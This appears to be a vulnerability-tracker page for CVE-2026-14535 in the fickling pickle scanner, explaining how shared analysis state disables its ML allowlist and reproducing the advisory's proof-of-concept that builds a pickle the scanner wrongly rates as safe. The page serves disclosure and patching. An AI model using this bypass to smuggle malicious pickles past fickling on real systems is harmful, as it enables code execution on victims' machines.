Exploited now
Vulnerability WatchVulnerabilities, exploits & advisories — updated every 15 minutes
Alerts

Home › CVE › Vulnerabilities

CVE-2026-14535 — pip:fickling

Critical · CVSS 9.8EPSS 0.3% First seen July 04, 2026
VulnerabilitiesPythonWeb

Summary

In Trail of Bits fickling versions up to and including 0.1.11, the UnsafeImportsML analysis pass unconditionally calls AnalysisContext.shorten_code(node) on every import node it inspects, regardless of whether the import is flagged as unsafe. This call registers the shortened code representation in the shared AnalysisContext.reported_shortened_code set. When the MLAllowlist analysis pass subsequently runs, it calls the same shorten_code() method, receives already_reported=True for every import, and executes a continue statement that skips its allowlist check entirely. This renders MLAllowlist dead code for all imports — it never evaluates whether an import is in the ML allowlist or not. The MLAllowlist pass was designed to catch imports of modules outside the known-safe ML ecosystem (torch, numpy, transformers, etc.) that slip past the UnsafeImports denylist. With MLAllowlist inoperative, any standard library module not in the UNSAFE_IMPORTS denylist can be invoked via pickle deserialization while fickling's check_safety() returns LIKELY_SAFE. The fickling.load() API chains check_safety() into pickle.loads() as an explicit security gate, meaning a LIKELY_SAFE verdict causes the payload to be deserialized and executed. The root cause is shared mutable state between independently-correct analysis passes — UnsafeImportsML works as designed in isolation, MLAllowlist works as designed in isolation, but the shared reported_shortened_code set causes UnsafeImportsML to poison MLAllowlist's deduplication logic.

Description: NIST National Vulnerability Database (public domain)

Severity breakdown

Critical · 9.8 CVSS 3.1 base score from NVD

An attacker without an account can exploit this over the network, without any user action.

Attack from
the network (remotely)
Attack complexity
low (no special conditions)
Login needed
no
User action needed
no
Scope
stays within the vulnerable component
Impact
high on confidentiality, integrity and availability

Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H · CVSS 4.0 8.4 from GitHub: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Weakness

  • CWE-693: Protection Mechanism Failure
  • CWE-1023: Incomplete Comparison with Missing Factors

Affected and fixed versions

ProductAffected versionsFixed in
fickling (PyPI)≥ 0.1.4, < 0.1.120.1.12
trailofbits fickling≤ 0.1.11—

From the GitHub Advisory Database and the vendor's CVE record; confirm with the vendor advisory before relying on a version number.

Public exploits

Exploit available Exploit code or a detailed exploitation write-up is public, so attacks are easier to carry out.

References by type

Patches and fixed releases

Other references

Details from NVD (public domain), the GitHub Advisory Database (CC BY 4.0).

Advisory details

Analysis

The issue was confirmed and resolved in https://github.com/trailofbits/fickling/commit/41ce7cb01edd97072994039574a2301ebb3f463d. Users are affected when running the MLAllowlist analysis pass _after_ another pass within the same analysis context, in which case it would fail to flag non-allowlisted imports.

This fix makes MLAllowlist functional again, and opt-in as originally intended, after upgrading to fix. If it is needed to scan ML pickles with an import allowlist, update calls to check_safety() to pass MLAllowlist in the analyzer parameter:

pickled = Pickled([ ... ])
analyzer = Analyzer([MLAllowlist()])
res = check_safety(pickled, analyzer=analyzer)

Original report

UnsafeImportsML.analyze() unconditionally calls context.shorten_code(node) on every import, even ones it doesn't flag. MLAllowlist.analyze() then sees already_reported=True and skips its allowlist check entirely. MLAllowlist is dead code for all imports for the shared-context/pass-order qualification; but a fresh independent pass can report the import. Not an UnusedVariables bypass. Tests 1–2 in the PoC demonstrate the defect independently. MLAllowlist flags ast.parse as LIKELY_UNSAFE on a fresh context, returns 0 findings after UnsafeImportsML pollutes the shared state. Test 3 shows the full pipeline result.

ast.parse: not in UNSAFE_IMPORTS, not in ML_ALLOWLIST. check_safety() returns LIKELY_SAFE with 0 findings on 0.1.11. 139 stdlib modules are unblocked. Root cause is AnalysisContext.reported_shortened_code shared across all passes with no per-analyzer namespace.

PoC (tested against 0.1.11 from PyPI):

""" fickling MLAllowlist bypass via shorten_code shared state

Tested: fickling 0.1.11 """

import sys

from fickling.analysis import ( AnalysisContext, UnsafeImportsML, check_safety, Severity ) from fickling.ml import MLAllowlist, ML_ALLOWLIST from fickling.fickle import Pickled, UNSAFE_IMPORTS import fickling.fickle as op

def build_payload(module: str, function: str) -> Pickled: return Pickled([ op.Proto.create(4), op.ShortBinUnicode(module), op.ShortBinUnicode(function), op.StackGlobal(), op.ShortBinUnicode("x=1"), op.TupleOne(), op.Reduce(), op.Memoize(), op.EmptyDict(), op.ShortBinUnicode("k1"), op.BinGet(0), op.SetItem(), op.Mark(), op.BinGet(0), op.ShortBinUnicode("k2"), op.SetItems(), op.Stop(), ])

def main(): target = "ast" func = "parse"

print(f"fickling MLAllowlist shorten_code bypass")
print(f"{'=' * 60}\n")

# Preconditions
assert target not in UNSAFE_IMPORTS, f"{target} is in UNSAFE_IMPORTS"
assert target not in ML_ALLOWLIST, f"{target} is in ML_ALLOWLIST"
print(f"Target: {target}.{func}")
print(f"  In UNSAFE_IMPORTS: {target in UNSAFE_IMPORTS}")
print(f"  In ML_ALLOWLIST:   {target in ML_ALLOWLIST}\n")

pickled = build_payload(target, func)

# Test 1: MLAllowlist on fresh context — should flag it
fresh_ctx = AnalysisContext(pickled)
fresh_results = list(MLAllowlist().analyze(fresh_ctx))
print(f"[TEST 1] MLAllowlist on fresh context: {len(fresh_results)} finding(s)")
for r in fresh_results:
    print(f"  [{r.severity.name}] {r.message}")

# Test 2: MLAllowlist after UnsafeImportsML — silenced
polluted_ctx = AnalysisContext(pickled)
_ = list(UnsafeImportsML().analyze(polluted_ctx))
polluted_results = list(MLAllowlist().analyze(polluted_ctx))
print(f"[TEST 2] MLAllowlist after UnsafeImportsML: {len(polluted_results)} finding(s)")

# Test 3: Full pipeline — LIKELY_SAFE
full = check_safety(pickled)
print(f"[TEST 3] check_safety(): {full.severity.name} ({len(full.results)} findings)")
print(f"  fickling.load() would deserialize: {full.severity <= Severity.LIKELY_SAFE}")

print(f"\n{'=' * 60}")
if (len(fresh_results) > 0
        and len(polluted_results) == 0
        and full.severity == Severity.LIKELY_SAFE):
    print("RESULT: MLAllowlist silenced by shorten_code shared state.")
    print("        check_safety() returns LIKELY_SAFE. fickling.load() executes.")
else:
    print("RESULT: Bug not reproduced. Check fickling version.")

return 0

if __name__ == "__main__": sys.exit(main())

Source: GHSA-cffv-grgg-g429 / CVE-2026-14535, GitHub Advisory Database, licensed CC BY 4.0.

Affected

  • pip:fickling
  • trailofbits fickling

What to do

  • Check whether you run an affected product or version and apply the vendor's update or mitigation.
  • Follow the vendor advisory and the references below for fixed versions and workarounds.

Frequently asked questions

What is CVE-2026-14535?

In Trail of Bits fickling versions up to and including 0.1.11, the UnsafeImportsML analysis pass unconditionally calls AnalysisContext.shortencode(node) on every import node it inspects, regardless of whether the import is flagged as unsafe. This call registers the shortened code representation in the shared AnalysisContext.reportedshortenedcode set. Weakness type: Protection Mechanism Failure (CWE-693).

How severe is CVE-2026-14535?

CVE-2026-14535 has a CVSS 3.1 base score of 9.8 (critical), from NVD. An attacker without an account can exploit this over the network, without any user action.

Is CVE-2026-14535 being exploited?

Not as far as is known: CVE-2026-14535 is not in CISA's Known Exploited Vulnerabilities catalog as of December 3, 2026. Exploit code or a proof of concept has been published, which makes attacks more likely. EPSS estimates a 0.3% chance that it is exploited in the next 30 days.

Which versions are affected by CVE-2026-14535?

fickling (PyPI) ≥ 0.1.4, < 0.1.12 (fixed in 0.1.12); trailofbits fickling ≤ 0.1.11.

How do I fix CVE-2026-14535?

Update to a fixed release: fickling (PyPI) 0.1.12.

Timeline & sources

References

Related vulnerabilities & news